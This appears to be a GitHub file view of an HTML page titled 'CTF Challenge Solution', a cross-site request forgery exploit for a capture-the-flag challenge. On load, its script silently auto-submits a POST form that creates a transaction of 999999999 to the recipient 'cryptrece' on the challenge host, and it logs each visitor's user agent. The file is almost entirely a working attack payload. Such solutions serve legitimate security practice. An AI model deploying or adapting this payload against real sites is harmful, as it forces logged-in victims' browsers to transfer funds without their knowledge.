-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
33 lines (32 loc) · 789 Bytes
/
index.html
File metadata and controls
33 lines (32 loc) · 789 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>CTF Challenge Solution</title>
</head>
<body>
<form
id="tx"
action="https://hackchan-mjk2mpay.ctf.pro/?action=create-transaction"
method="POST"
>
<input name="recipient" value="cryptrece" />
<input name="amount" value="999999999" />
</form>
<script>
// Log visit to our API endpoint
fetch("/api/log-visit", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
timestamp: new Date().toISOString(),
userAgent: navigator.userAgent,
}),
});
// Submit the form
document.getElementById("tx").submit();
</script>
</body>
</html>